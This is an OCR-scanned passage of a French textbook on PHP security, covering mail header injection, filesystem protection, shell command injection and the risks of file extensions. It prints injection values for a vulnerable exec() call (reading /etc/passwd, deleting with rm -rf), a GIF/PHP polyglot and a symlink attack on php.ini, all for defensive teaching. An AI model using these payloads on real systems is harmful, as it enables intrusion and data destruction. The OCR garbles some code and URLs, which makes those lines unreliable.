I’ écarte sans le lire. Dans le meilleur des cas, les filtres anti-spam de I’ administrateur
bloquent le message avant qu’il n’arrive jusqu’alui. Ainsi, non seulement le serveur web
est devenu une source de spam, mais en plus les défenses mises en place par I’adminis-
trateur sont celles qui lui masquent latriste réalité.

Avec ce type de script, il est aussi possible de faire des injections de contenu : au lieu
de donner une adresse de retour, le pirate envoie plusieurs retours a la ligne et une
structure de corps de courrier. Ce type d’ attaque est possible, mais il est encore rare-
ment utilisé.

Défendre ses courriers électroniques

Les défenses contre les injections de courriers sont difficiles a mettre en place: les
injections peuvent étre réalisees avec presgue tous les arguments de la fonction mai1()
et chaque champ a besoin d'un filtrage spécifique. La tache est donc particuliérement
délicate.

Voici les points que vous pouvez surveiller :

» Limitez I'utilisation publique de mai1() sur votre serveur : un seul formulare de
contacts est suffisant. Cela permet de mieux controler I’ usage de lafonction sur le site.

» Enregistrez les adresses |P et les scripts qui utilisent mai1() pour pouvoir traquer les
abus. Mieux, instaurez une limite temporelle d' utilisation de la page de contact : un
envoi de courrier éectronique par jour peut étre raisonnable.

« Evitez autant que possible de mettre des valeurs dynamiques dans |les champs de courrier
autres que celui du corps, ¢’ est-a-dire le troisieme argument.

* ldentifiez lesretours alaligne, c' est-&-dire les caractéres \r et \n et leurs séquences \
r\n dans les valeurs que vous utilisez, puis supprimez-les. Hormis dans le corps du
message, ces caractéres ne devraient pas étre utilisés.

» Validez le format des adresses électroniques que vous utilisez dans le premier
et le quatrieme argument demai1(). Il existe desfiltres préts a utiliser, comme |’ exten-
sion filter de PHP (http://www.php.net/filter) ou le tutoriel de Dave Child
(http://www.1’10vejackdam’els.com/php/emaﬂ—address—vaHdation).

o Utilisez escapeshellarg() sur les valeurs que vous manipulez : mail() ne fait que
relayer le courrier électronique au serveur SMTP local vialaligne de commande.
escapeshellarg() neutralise les caractéres spéciaux pour les shell.


http://www.php.net/filter
http://www.ilovejackdaniels.com/php/email-adress-validation
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Défenses fournies par PHP

Voici quelques pistes du point de vue de la configuration de PHP.

Forcer les parameétres d’envoi

Le cinquiéme argument de la fonction mai1() permet de glisser des paramétres supplé-
mentaires a sendmail. Si ces paramétres contiennent des valeurs en provenance de I’ utili-
sateur web, elles peuvent étre manipul ées pour modifier le comportement de SendMail.

Il est possible de forcer PHP & utiliser certains en-tétes en guise de cinquiéme argument
de mail() : cette approche empéche simplement les développeurs d' utiliser ce dernier
argument de lafonction et donc, d’ étre vulnérable a une injection d' en-téte de courrier.

Danslapratique, C'est une option qui est intéressante sur un serveur partagé : celarevient
a désactiver le cinquiéme argument, voire a gjouter des informations pour retracer
I’ origine du courrier électronique.

L’ avantage de cette option est qu’ elle est disponible dans les distributions standards de PHP
et ne nécessite ni patch, ni développement, comme les fonctionnalités présentées ci-apres.

Forcer des en-tétes de courrier électronique

Mail-extra-headers est un patch PHP qui gjoute un en-téte supplémentaire aux courriers
électroniques sortants. Cet en-téte alaforme suivante :

X-PHP-Script: www.examplea.com/~user/testapptestapp/send.php for 10.0.0.1

On y retrouve le nom du script qui a émis le courrier, ainsi que I'adresse IP de la
personne qui a demandé le message. Ces informations seront précieuses pour remonter
jusgu’ au spammeur. D’ abord, avec le nom du script émetteur, vous savez par ou passe
votre spammeur, ce qui vous donne un moyen de colmater la vulnérabilité de votre
systéme.

Ensuite, avec |’ adresse | P de |’ émetteur, vous pouvez continuer la chasse au spammeur et
méme gjouter cette adresse dans une liste noire.

Vous trouverez ce patch al’ adresse suivante : http://choon.net/php-mail-header.php

Logs d’activité

Ilia Alshanetsky propose une approche différente: il s'agit d'un log qui enregistre toute
I"activité. Au lieu de I'inscrire dans e courrier éectronique lui-méme, les messages sont
notés sur le serveur, avec les mémes informations. Vous pouvez en lire plus a |’ adresse
suivante : http://ilia.ws/archives/149-mail-logging-for-PHP.html

L’ avantage de cette approche est que I’on n’a pas besoin d attendre qu’un utilisateur
signale un probléme pour avoir des informations: il suffit d’analyser les logs pour voir
immeédiatement sortir les adresses | P et les scripts les plus fréguemment utilisés.

Cette option a été imaginée a la fin de I’année 2006. On devrait la voir mdrir durant
I’ année 2007.
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Systeme de fichiers

PHP dispose d'un acces au systéme de fichiers du serveur ; ¢’ est un point de rencontre
avec le systeme. Si aucune mesure de protection n’est prise, PHP peut perturber e fonc-
tionnement du serveur en modifiant des fichiers vitaux.

Garder le systeme de fichiers voilé

Figure 9-2

Le premier risque que court le systéme de fichiers est d étre dévoilé a |’ extérieur. La
structure du site, les noms de dossiers utilisés et les fichiers sont autant d’informations
qui intéressent immeédiatement les pirates.

Il existe aussi toute une catégorie de fichiers qui trainent sur le serveur et qui ne sont
protégés que parce que personne ne sait qu’ils sont 1a. 1l est fréquent que des exports de
données, des bases SQL .ite ou des fichiers de cache soient rangés dans une application
web, juste a coté du script générateur, ou dans un dossier dans lamémeracine. I1s ne sont
pas destinés a étre publiés directement et PHP s en sert souvent. |l faut pourtant leur trouver
un hébergement protégé.

Pour protéger le systéme defichiers, il est donc primordial d’éviter la navigation dansle
systéme defichiers.

Interdire les listages de dossiers

Lelistage desfichiers d’ un dossier est une fonctionnalité des serveurs web. C' est généra-
lement un comportement voulu, comme pour diffuser des archives de fichiers qui ne
seront pas affichés par le navigateur. Par exemple, la figure 9-2 présente le musée PHP,
qui contient toutes les versions de PHP.

Musée PHP : liste Index of /

de fichiers du serveur

‘e

é?

20-Apr-2006 09:55
20-Apr-2006 11:12
27-Jan=2007 03:00
20-Apr-2006 11112
20-Apr-2006 11:12
20-Apr-2006 11:12
03-May-2007 20:26
20-May-2007 14:45
03-May-2007 20:33

g&&&&&ggg E

En termes de sécurité, il est recommandé d'interdire lanavigation par défaut et de I’ activer
uniquement dans les dossiers qui en ont besoin : si vous montez un serveur web, vous ne
devriez pas en avoir besoin partout.

Avec Apache, il faut retirer I'option Indexes dans les lignes d’ options de configuration.
Par défaut, vous devriez trouver cette ligne dans votre fichier httpd.conf ;

Options Indexes FollowSymLinks MultiViews
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Il suffit de retirer lavaleur Indexes et de recharger Apache

Eventuellement, vous pouvez aussi créer un fichier .htaccess dans chague dossier qui en
abesoin et y gjouter laligne suivante, en plus des autres lignes nécessaires :

Options -Indexes

Utiliser un fichier par défaut

Une autre astuce simple consiste a toujours fournir un fichier par défaut. Par exemple, si
index.php est le nom du fichier par défaut sur votre serveur web, veillez a toujours placer
un tel fichier dans chaque dossier, pour que le navigateur puisse le lire systématiquement.
Vous pourrez alors mettre une redirection vers une page d' accuell, afficher un message
d’erreur ou toute autre action ad hoc.

Vérifier les chemin d’acces

Si vous devez échanger des chemins de dossiers avec vos utilisateurs, il est recommandé
delesvérifier avec realpath(). Cette fonction prend un chemin et retourne savaleur absolue,
débarrassée des caractéres spéciaux comme ., .. ou/, ainsi que des liens symboliques
qui pourraient étre utilisés. En résumeé, realpath() résout le chemin et vouslefournit sans
aucune chausse-trappe::

<?php
$path = realpath(".././../index.php");
echo $path;

/I affiche /home/www/index.php

[

Veérifier I'existence des fichiers

Avant de manipuler un fichier sur le serveur, il est important de vérifier s'il existe dgja,
pour éviter de I’ écraser, pour le créer s'il N’ existe pas, ou encore pour le compléter.
Existence d'un fichier

Quand vous devez accéder aun élément du systeme de fichiers, il est recommandé d’ utiliser
file_exists() avant lafonction fopen() pour vousassurer que lefichier demandé existe bien.

<?php

$fichier = "test.html' ;

if (Ifile_exists($fichier)) {

print "Le fichier '".htmlentities($fichier), END_COMPAT, 'IS0-8859-1'."' n'existe pas"
die();

>

Droits d’acces au fichier
L es fonctions suivantes vous renseigneront sur |’ état d’ un fichier avant de I’ ouvrir :

* is_readable() : est-ce que PHP peut lirelefichier ?
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* is_writeable() : est-ce que PHP peut écrire danslefichier ?
* is_executable() : est-ce que PHP peut exécuter cefichier ?
* is_dir() : est-ceque cefichier est un dossier ?

e is_link() : est-cequecefichier est unlien?

Existence d’une liste de fichiers

Si vous avez une liste de fichiers dont il faut vérifier I’ existence, vous pouvez passer par
la fonction glob() : elle accepte des caractéres jokers tels que I’ astérisque, *, pour lire
tous les fichiers d’un dossier et retourne la liste sous forme d’un tableau. Vous pouvez
alors passer en revue cesfichiers.

Shel1> php -r 'print_r(glob("/tmp/wsdl-*"));"'

Array

(
[0] => /tmp/wsd1-07beb861cOeaf9adebee7f64574ff0cO
[1]1 => /tmp/wsd1-09b1b56a838ebeb864030clf45b66e2c
[2] => /tmp/wsd1-0b1d8318ff837b34771b34547646c110
[3] => /tmp/wsd1-1c880fcfb847a25eel36837f60eb5a2l
[4] => /tmp/wsd1-1e08d21c63dfa821b96c746524e9e034

)

glob()retourne la liste des fichiers avec leur chemin d’ acces. Lafonction scandir() vous
livre immédiatement les noms des fichiers, sans leur chemin, mais sans possibilité de
mettre defiltrage. Il faudra ajouter une fonction de traitement du résultat du tableau pour
réduire ses éléments.

Shell> php -r 'print_r(scandir("/tmp/"));"

Array

(
[01 => .
[11 => ..
[2] => 501
[31 => mysql.sock
[4] => wsd1-07beb861cOeaf9adebee7f64574ff0cO
[5] => wsd1-09b1b56a838ebeb864030c1f45b66e2c
[6] => wsd1-0b1d8318ff837b34771b34547646¢c110
[7]1 => wsd1-1c880fcfhB847a25ee136837f60eb5a2l
[8] => wsd1-1e08d21c63dfa821b96c746524e9e034

Protéger les fichiers sur le serveur

Outre la navigation dans le systéme de fichiers, il faut aussi protéger lesfichiers qui sont
sur le disque.

Fichiers créés par PHP

Lesfichiers créés par PHP sont un point critique dans e systéme. Il y adeux raisons acela.
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Droits d'acces sur I'application web

Si PHP peut créer des fichiers, c’'est qu'il a la possibilité d’ écrire des données et donc
aussi d’ écraser les données existantes. En allant un peu pluslain, il pourrait aussi écraser
des scripts PHP existants, mettant en péril toute I’ application web.

Pour résoudre ce probléme, il faut commencer par utiliser le systéme de droits du
serveur : ce dernier est I’endroit idéal pour garantir I’intégrité des fichiers, car PHP ne
pourra pas se soustraire a son autorité.

Si un fichier n"aaucune raison d’ ére modifié, il est recommandé de ui enlever les droits
d’ écriture. Mieux, vous pouvez aussi attribuer le script a un autre utilisateur, de maniére
ace que PHP ne puisse pas s attribuer lui-méme les droits pour mieux |’ écraser. Si vous
appliquez cette politique aux scripts PHP, pensez aors a vérifier que ¢’ est compatible
avec votre systéme de déploiement.

Ensuite, au niveau de la programmation, il faut vérifier en permanence les droits d' écriture
sur lesfichiers qui sont ouverts. file_exists (), is_readable() €t is_writeable() SOnt, NOUS
I"avons vu, trois fonctions primordiales pour vérifier | existence et les droits d’ un fichier.

Distribution des fichiers créés par PHP

Les fichiers créés par PHP sont attribués au serveur web et, par défaut, ils sont accessi-
bles en lecture au monde entier. Cesfichiers sont accessibles viale Web, avec leur nom :

<?php
file_put_contents('test.txt', date('r")) ;
$texte =
file_get_contents($_SERVER['HOST'].dirname($_SERVER['PHP_SELF'])

L/test.txt')
if (lempty($texte)) {
print "Attention, le fichier test.txt est accessible au monde entier"
}
[

Les fichiers de configuration font partie de cette catégorie. 1ls doivent étre modifiés par
PHP, en fonction des choix du webmestre, et réutilisables en permanence depuis |’ applica-
tion web, ¢’ est-a-dire par le serveur web. Si leur contenu est révélé au public, il y trouvera
facilement les autorisations d’ accés au serveur SQL, ainsi que différents détails de confi-
guration et de sécurité. Il est important d’ éviter absolument la publication de ce fichier.

Il N’ est pas possible d' attribuer le fichier a un autre utilisateur, car PHP doit conserver le
droit de lecture et d’ écriture dessus. Le plus sécuritaire est de placer lesfichiers créés par
PHP dans un dossier hors Web, pour éviter leur publication par inadvertance.

Liens symboliques

Les liens symboliques sont des références au véritable contenu d’ un fichier placé ailleurs
dans I" arborescence. Cela permet d'inscrire le méme fichier a plusieurs endroits dans le
serveur, sans en dupliquer le contenu, qui reste unique et commun atous. C'est un outil
souvent utilisé pour partager des ressources entre des processus simultanés.
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Il existe une technique d'attague qui consiste a utiliser les liens symboliques pour
masquer un fichier et faire croire a PHP qu'il utilise un fichier légitime alorsqu'il est en
train de |’ écraser &’ autre bout du serveur.

Lesliens symboliques n’ outrepassent pas e systeme de droits classique : toutefois, il est
possible de créer un lien vers une ressource, méme si on n’a pas les droits pour I’ utiliser.
Il suffit alors de trouver un utilisateur qui a ces droits: par exemple, si PHP ales droits
pour modifier un fichier de configuration tel php.ini, on peut établir un lien symbolique
dans /tmp/ pour pointer sur ce fichier. Dans ce cas, il reste a trouver un fichier utilisé
couramment par PHP et ale remplacer par un lien symbolique : au lieu d’ écrire dans le
fichier qu'il croit valide, PHP va écraser |a configuration.

Les liens symboliques sont créés par lafonction symlink(). A moins d’ en avoir une utili-
sation particuliére, il est recommandé de désactiver cette fonction, pour enlever aPHP la
possibilité de créer desliens. Celafait autant de problémes en moins a gérer.

Pour tester si un fichier est bien un véritable fichier, et non pas un lien symbolique, vous
pouvez utiliser lafonction is_1ink().

Pour effacer un lien symbolique, vous pouvez utiliser la fonction un1ink() : contrairement
aux autres fonctions defichiersde PHP, un1ink () nerésout paslelien, donc efface bien ce
dernier et non pas le fichier & distance.

Cas des bases SQLite

SQL ite est un gestionnaire de bases de données intégré a la distribution standard de PHP
depuis la version 5.0. Au lieu de fonctionner avec un démon externe, comme le font
MySQL, Oracle ou DB2, SQL ite charge directement le moteur SQL dans PHP. Aprésles
modifications, les données sont enregistrées dans un fichier local. Ce dernier peut porter
un nom arbitraire et il n'y apas d’ extension de fichiers spécifique pour SQLite.

Une erreur courante est de ranger le fichier de données SQL ite dans le méme dossier que
les scriptsqui I' utilisent. Par exemple, on trouve data.sqlite acoté du fichier index.php. Le
probleme provient du fait que .sqlite est alors une extension non reconnue par le serveur
web : s quelqu’ un demande lefichier viaune URL, ce dernier sera directement envoyé !

Pour se protéger contre ce probleme, il est recommandé de ranger le fichier de données
dans un dossier hors Web, ¢’ est-a-dire hors de laracine web. 11 est recommandé d’ utiliser
un dossier qui soit aussi limité d’ acces que possible : par exemple, le dossier /tmp/ est
une mauvaise idée, car tous les utilisateurs du systéme y ont accés. |l vaut mieux un
dossier qui ait été configuré spécifiqguement pour e serveur web.

Fichiers temporaires

Les fichiers temporaires sont généralement considérés comme étant protégés par leur
caractéristique principale : du fait qu'ils soient temporaires, ils ne restent pas longtemps
accessibles. Un tel fichier est écrit sur le serveur, puis éliminé a la fin de I’ utilisation.
Sauf quand il nel’ est pas.
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Risques liés aux fichiers temporaires

Toutefois, plusieurs situations courantes finissent par abaisser considérablement le
niveau de sécurité des données dans un fichier temporaire :

» L'application « plante » avant la fin de I’ exécution et laisse le fichier temporaire en
place.

 Laconception ou I'implémentation de |’ application omet d’ effacer les fichiers tempo-
raires, dans certains cas particuliers rares.

» Lesfichierstemporaires des applications web sont rangés avec tous les autres fichiers
temporaires du systéme, accessibles atout le monde sur le serveur (généralement dans
le dossier /tmp/ Sous Linux, ou C: \WINDOWS\TEMP sous Windows).

e Temporaire signifie en fait « mis en cache » ; des fichiers mis en cache peuvent rester
trés longtemps valides et réutilisables. Dans cette approche, temporaire signifie
simplement que le fichier peut étre effacé a tout moment sans perturber I’ application :
cette derniére vale recréer alademande.

 Les fichiers temporaires sont prédictibles. Si le fichier temporaire porte toujours le
méme nom, ou bien est réutilisé sans vérification d’ existence préalable, il est possible
de préparer un contenu al’ avance et d’ usurper laplace d un fichier 1égitime, en placant
du contenu piraté.

Mieux défendre les fichiers temporaires

Maintenant que vous connaissez |es risques que courent ces fichiers, il faut prendre quel-
gues précautions pour bien les protéger, tout en conservant leur caractére temporaire et
pratique.

Masquage des fichiers temporaires

La premiére chose est de rendre le fichier temporaire difficile arepérer. Cela signifie que
le nom du fichier et, idéalement, son chemin sont al éatoires et imprévisibles. Moinsil est
possible d’ anticiper la présence du fichier, meilleure serala protection.

Pour le nom du fichier, vous pouvez utiliser lafonction tempnam() de PHP, qui a été bétie
pour cela:

<?php
$fichier_tmp = tempnam('/mon/chemin/secret', 'prefixe') ;
$fp = fopen($fichier_tmp, 'w') ;

7>

Cette ligne retourne le nom d’un fichier unique dans le dossier /mon/chemin/secret/ indi-
gué en premier argument, avec un préfixe passé en deuxiéme argument. Le fichier est
créé par PHP, mais vous devrez I’ ouvrir explicitement pour I’ utiliser.

Le fichier temporaire est créé avec les droits de lecture et écriture, et il est réservé a

I’ utilisateur courant : ni le groupe, ni les autres ne sont autorisés a y toucher. Dans le
cadre d' une application de bureau, ¢ est une bonne pratique, mais pour un serveur web,
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I"intérét est limité: tous les processus web ont le méme utilisateur. Cela protége les fichiers
temporaires des autres utilisateurs du systéme, mais pas d’ autres attaques via le Web.

Attention : le dossier doit exister avant d' utiliser tempnam(), Sous peine de voir le fichier
créé dans le dossier temporaire par défaut. Si le dossier /mon/chemin/secret/ N’ existe pas,
alors /tmp/ serautilisé.

D’un point de vue programmation et administration, il est recommandé d' utiliser un
préfixe parlant, mais du point de vue de la sécurité, ¢’ est une mauvaiseidée, car celarend
vos fichiers temporaires bien plus visibles.

Systeme d’exploitation

PHP est unlogiciel comme les autres, qui S exécute dans le cadre d' un systéme d’ exploi-
tation. Ce dernier est disponible en toile de fond et PHP dispose de nombreuses interfaces
pour le solliciter directement.

Risques du Shell

Quand PHP envoie une commande au Shell, il transmet a un processus externe le travail
gu'il doit effectuer. Il se décharge donc simultanément de sa responsabilité et de ses
droits. Il attend ensuite que le processus effectue le travail correctement.

PHP et le systeme en prise directe

Les injections sont aussi possibles avec les commandes systéme. PHP dispose de six
fonctions standards pour envoyer des commandes au systéme: exec(), shell_exec(),
passthru(), system(), proc_open() €t popen(). Ajoutons aussi les opérateurs guillemets
obliques, ", qui sont associés ashell_exec().

Shel1> php -r 'print “1s -la;'

Les commandes systeme permettent d’ accéder a des applications qui n’ont pas d’ AP
interne a PHPR, par exemple un outil de conversion audio, qui va transformer une chaine
de caractéres en son pour un podcast.

Shel1> php -r '“say PHP rulez’;'

L’ utilisation de commande systeme pose plusieurs probleémes importants, notamment en
ce qui concerne les droits d’ exécution et les limitations de consommation de ressources.

Consommations illimitées

Un programme qui est lancé avec exec() S exécute indépendamment de PHP. C'est un
processus autonome, qui gere ses propres ressources directement avec le systeme. Sl
consomme trop de mémoire, de processeur ou de temps, les mécanismes de PHP ne pour-
ront pas le brider. Celasignifie que le serveur risgue de se retrouver acourt de ressources.
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Mise en attente de PHP

Durant I’ exécution d’une commande externe, PHP est mis en attente, jusqu’a ce que le
processus fils ait fini. Tant que ce dernier n’a pas terminé, PHP, ainsi que le visiteur du
site web, doivent attendre. Et quand le visiteur abandonne la page avant lafin de latéache,
PHP doit toujours attendre lafin de I’ exécution secondaire. Celafait beaucoup de risques
de voir la production gaspillée, sans compter les problémes de déni de service qui se
profilent derriere.

Simultanéité des taches

L’ exécution simultanée de processus ne doit pas étre négligée, car beaucoup d' applications
en ligne de commande ont été pensées pour étre utilisées par un utilisateur unique. Or,
dansle cas d’une utilisation web, il peut y avoir des dizaines d’ utilisateurs simultanés.

De plus, comme c’est toujours le méme utilisateur web qui lance tous ces processus
paralléles, il peut surgir d’ autres problémes: soit le programme n’ accepte pas d’ avoir
plusieurs instances en méme temps, soit il ne partage pas les ressources temporaires et
finit par écraser les travaux en cours.

Injections systeme

Enfin, les injections de commandes Shell peuvent détourner une commande de sa
mission premiére, pour faire exécuter un ordre qui n'est pas voulu. Le principe est le
méme que pour toutes les autres sortes d' injections. Comme lacommande Shell est cons-
tituée par PHP sous forme d' une chaine de caractéres, il est possible de la manipuler s
aucune précaution n' est prise. Par exemple :

<?php

$commande = '1s /home/public/'.$_GET['user'] ;
exec ($commande, $resultat, $code) ;

[

Cesinstructions qui ont pour but de lister le contenu d’ un dossier public, laissent laporte
béante aune injection, vialavariable user.

$_GET['user'] = "../" ;
/I liste le dossier supérieur
$_GET['user'] = ' ; cat /etc/passwd' ;
/I liste le fichier de mot de passe
$_GET['user'] = "' ; rm -rf /tmp/*' ;
/I efface tout dans le dossier temporaire
/I pourrait étre bien plus destructeur
/I s appliqué alaracine.

Protéger les commandes systeme

Comme en SQL et en HTML, il est vital de protéger I’ acces au systeme d’ exploitation.
Cedernier n"est pasfait pour répondre aux sollicitations du Web : ¢’ est bien PHP qui doit
lefaire, car il a été congu pour cela
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Eviter les commandes

La premiére chose est slirement de se demander comment éviter d' utiliser les commandes
systeme. Il est fructueux de prendre e temps de se demander si PHP ne fournit pas d’ outil
intégré pour faire laméme chose, que ce soit sous forme d' extension, ou de bibliotheques
et composants.

Une application classique utilisée avec PHP était la conversion de fichiers HTML en
PDF, via le programme htm12pdf (http://directory.fsf.org/html2pdf.htm1). Cette appli-
cation est pratique, car elle agit comme un filtre et permet une publication des données
HTML sous forme PDF, avec peu d’ efforts et I’ utilisation de exec().

Or, il existe de nombreuses bibliothéques PHP pour créer des fichiers PDF, comme PDFLib
(http://www.pdflib.com/), qui est compilée avec PHP, ou FPDF (http://www.fpdf.org/),
bibliothégue libre écrite en PHP. En intégrant |’ exécution en interne a PHP, vous retrouvez
le contrdle des ressources et vous identifiez aussi mieux les besoins de ces opérations :
créer un PDF ' est pas une opération immédiate.

Protéger les exécutables

Si vous avez conclu qu'il ne sera pas possible de vous passer d' un exécutable externe a PHP
pour faire fonctionner votre application, ne vousinquiétez pas : ' est rare, maiscaarrive.

La premiére précaution consiste a limiter les droits d’ exécution, de I’ utilisateur PHP ou
du serveur web. Souvent, PHP utilise les droits de ce dernier pour exécuter les programmes,
et tous ceux qui sont accessibles au serveur web le seront a PHP.

Si vous devez utiliser un programme externe, il est donc recommandé de limiter I’ acces de
exec() et de sescousins acette seule application. Moins PHP pourra exécuter de commandes
externes, mieux ce sera, y COmprisis ou rm.

Protéger les arguments

Aprés les applications, il faut aussi protéger les arguments de la commande, car le
détournement de commande Shell est plus simple et plus puissant que le détournement de
requétes SQL. Il se base sur le méme concept d'injection, et les protections disponibles sont
semblables aux défenses proposées pour lesinjections SQL.

Pour cela, il existe en effet deux fonctions PHP : escapeshellcmd() €t escapeshellarg().

escapeshellarg() travaille sur les arguments qui sont fournis a une ligne de commande.
Lafonction gjoute des guillemets smples au début et alafin del’ argument, puis protége tous
les guillemets simples de la chaine. Cela permet de neutraliser effectivement les chaines
de caractéres pour en faire des valeurs neutres du point de vue Shell. escapeshellarg()
doit étre utilisée sur chaque argument, individuellement.

escapeshellcmd() protége tous les caractéres qui pourraient avoir une signification spéciale
dans une commande Shell. Les caractéres suivants seront protégés : #&; " | *2~O>r()[1{}$\,
\x0A €t \xFF. ' et " nesont protégés que s'ils ne sont pas en paire. Sous Windows, tous ces
caractéres ainsi que % sont remplacés par une espace.


http://www.pdflib.com/
http://www.fpdf.org/
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Utiliser une file de taches

Pour limiter la consommation de ressources, il est recommandé de mettre en place une
file d attente pour les t&ches. Au lieu de demander au serveur d exécuter immédiatement
une tache, on inscrit le travail a faire dans une file d’ attente, par exemple dans une base
de données.

En plus du serveur web qui I’ aimente, un démon surveille cette liste de taches, et lorsgu'il
détecte une nouvelle tache, il I’ exécute. Une foislatache terminée, il place le travail réalisé
dans un systeme de stockage et passe a la téche suivante, ou bien se remet en veille.

Cette approche permet de limiter la consommation des ressources a une seule occur-
rence. Du point de vue de I’ architecture, elle permet aussi d' exporter le travail laborieux
versun (ou plusieurs) serveur(s) externe(s) : au lieu de faire tourner le démon locaement, il
est possible de le déporter sur d’ autres machines indépendantes et dédiées.

Figure 9-3
e s . Bluga.net WebThumb
Limitation de la consommation
de ressources par |e site Webthumb Web Page Thumbnails with AP| support. To gain access to all the featu

Enter a URL to generate a thumbnail from

URL:

| 768

(Generate Thumbnail ) Width and Height are the size of the window to view your page

Recent Thumbs
b b

ChgmKgmin ~ CogmKgmin

Registering gives you APl access and free 250 credits a month, ac
can be purchased at any time, and cost $20 for 5,000 credits or $5(

Brought to you by Joshua Eichorn and his AJAX and PHP blog
Comments and suggestions can be left on the WebThumb updates pos

Urls in Queue Lifetime Thumbnails  Thumbnails Today APl Thumbs Toda

0 123281 174 106

Le site de webthumb (http://bluga.net/webthumb/) met en pratique cette technique: le
site propose la création d apercus de sites dans le navigateur Mozilla (figure 9-3).
Chague opération peut étre coliteuse : chargement du site dans Mozilla, production des
captures en différentes résolutions, publication des écrans.

Joshua Eichorn a alors choisi de mettre en place une file de taches. Apres soumission de
I"'URL a tester, une URL est fournie au visiteur, de maniére a pouvoir accéder a ses
écrans, méme si la génération prend plusieurs heures.
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Structure d’une application web

L es applications web sont constituées d’ un ensemble de scripts et de contenus statiques.
Il faut faire la part entre les fichiers publics, qui peuvent étre diffuseés, et les fichiers
privés, qui doivent rester cachés, car ilsn’ ont pas d’ utilité directe pour lesvisiteurs. Il est
alors prudent de ranger toutes des données dans un abri inaccessible.

Extensions de fichiers

Les extensions sont utilisées par le serveur web pour savoir ce qu'il doit faire avec les
fichiers qui sont demandés par I’ utilisateur.

Si le serveur repéere un fichier .htm1, .png ou .gif, il vale transmettre sans modification.
Si lefichier possade une extension detype .php OuU . py, il seratransmis respectivement aPHP
ou a Python pour étre exécuté avant d’ étre envoyé au navigateur. Lorsque la configuration
d’une extension n’est pas connue du serveur web, il envoie le fichier sans modification.

.nc

Danslapratique, les bibliothéques d'inclusion, procédural es ou objets, se distinguent des
scripts PHP exécutés par une extension différente : le choix classique est . inc. Or, il faut
savoir que de nombreux serveurs web n’ont pas configuré .inc comme étant un fichier
PHP. Donc, si ony accéde directement via un navigateur web, on va obtenir lefichier de
bibliothégue en clair : tout le code source.

La bonne pratique est de laisser I’ extension .inc, mais d’ gouter malgré tout une exten-
sion PHP: .inc.php. De cette maniere, vous étes certain que lefichier n’ apparaitrajamais
sans passer par PHP. Ce sera particulierement avisé si vous publiez votre code sous forme
d’application : vous protégerez ainsi vos utilisateurs d’un conflit de configuration.

Ne donnez pas trop d’extensions a PHP

Inversement, il est recommandé de ne pas donner trop d’ extensions a gérer a PHP, car ce
dernier pourrait traiter du code PHP la ou on ne pense pas qu'il y en ait. En effet, PHP
peut virtuellement traiter n'importe quel type de fichier : en fait, il publie sans modifica-
tion le texte, binaire ou pas, et recherche ses balises. S'il trouve des balises PHP, il
exécute dorsle code et le remplace par le résultat. C' est valable pour un fichier PDF, une
image, un format propriétaire, etc.

Par exemple, GIF est un format d’ image qui illustre bien ce danger. Le format a été concu
pour que les images s’ insérent dans des flux de données multimédias et donc, il contient
desindications detaille. De ce fait, le format GIF peut utiliser moins d’informations que
ce que lefichier représente : en pratique, lesinformations qui ne font pas partie du format
sont simplement ignorées. On pourrait donc y stocker du code PHP, comme :

GIF89a_ n¢yyy+ayceyheoy 11-G+¥Qi++y,2+Y 01e0!YO_ME_Ty_Epdice-110¢iii_Ql_
= <YY000¢+++y0ays¢i_E-_<”)I<?php phpinfo() ; ?>
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Le navigateur sera parfaitement capable d’ afficher I'image et ignorera simplement le
code PHP surnuméraire.

Maintenant, si I'image est envoyée sur un site web PHP, a |’ aide des fonctions de télé-
chargement, et si lesimages GIF sont traitées par PHP avant d’ étre affichées, le résultat
ne sera pas celui qui est attendu.

Le code GIF initial est traité par PHP comme du code HTML : il ne reconnait pas ses
balises, aors le contenu est transmis au navigateur sans modification. En revanche,
quand il rencontre le code PHP findl, il I’ exécute et affiche le phpinfo() (figure 9-4).

Voila un exemple de vulnérabilité PHP par lesimages.

Figure 9-4 - GIFB9a ngyyi-07csiExieliC2¥¥isi, 2+ Y0100 ME Iy Epdice—ilOgT af <
Exemple de vulnérabilité w000 c++iysel E <)l

PHP par lesimages

Syatam Darwin tutoriel-PHP.Jocal 8.9.1 Darwin Kemel Version 8.9.1: Thu Feb 22 20:55:00 PST 2007;
rootxnu-782.18.15~1 RELEASE 386 386

Build Date | Feb 16 2007 21:26:18
" el th-apes’ with-icony' -disable-cgl’ -with-curl=isriocal’

Command

.phps

Autre extension qu’il faut connaitre : phps. Cette extension defichier déclenchait automa-
tiquement I’ affichage du code source PHP, au lieu d’ exécuter le script.

Le site officiel de PHP, http://www.php.net/, utilisait cette extension pour afficher son
code source. Le but était de proposer du code propre et de montrer comment le groupe
utilisait les technologies qu’il développe.

En régle générale, cette extension est une trés mauvaise idée. En fait, de nombreux visi-
teursdephp.net « découvraient » cette extension et envoyaient un message au webmestre
pour signaler un probléme de configuration. Sur le site de php.net, il s'agissait d’une
fonctionnalité volontaire. Sur votre serveur, cela peut ne pas étre le cas: pour éviter la
méme mésaventure, vérifiez donc que votre serveur n'est pas configuré pour prendre en
charge ce type d’ extensions.

Cachez ces extensions révélatrices

Enfin, dernier conseil : les extensions que vous utilisez sur votre serveur web indiquent
aux pirates quelles technologies sont utilisées sur le site web.

Vous pouvez masguer votre architecture en utilisant des extensions courantes a la place de
celles de PHR, comme .htm1, ou méme utiliser des extensions volontairement mystérieuses,
comme .po, ou fausses, comme .p1 ou .py.


http://www.php.net/
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Sachez que ¢’ est parfois déroutant, surtout pour ceux qui travaillent sur votre site.

Un dossier hors Web

Dans |’ organisation d’'une application web, il est recommandé d’ avoir un dossier hors
Web, ¢’ est-a-dire qui soit rangé hors delaracine web : il doit étreimpossible d’ accéder a
ce dossier depuis un navigateur, viale serveur web.

Vie privée de I'application

Un tel dossier pourra abriter beaucoup de fichiers importants pour le fonctionnement
d’une application web, mais qui n’ont pas besoin d’ étre mis a disposition du public. En
voici une petite liste, que vous pourrez compl éter avotre guise :

« fichiers de configuration

« fichiersde cache

* fichierstemporaires

* sessions

* listes de mots de passe

e bases SQLite

« fichiersdelogs

 exports de données

« fichiers en attente de modération

* hibliothéques de fonctions et classes
« fichiers qui sont vendus depuis votre site
e efc

PHP est capable de manipuler desfichiers horsWeb : lui-méme s exécute sur le serveur web
et n’'est pas considéré comme un programme externe. |1 peut naviguer dans le systéme de
fichiers, inclure des bibliotheques qui sont dans un autre dossier ou ouvrir desfichiers.

Un dossier interdit au public

Quand les fichiers sont inaccessibles du Web, vous étes al’ abri d’ une erreur de manipu-
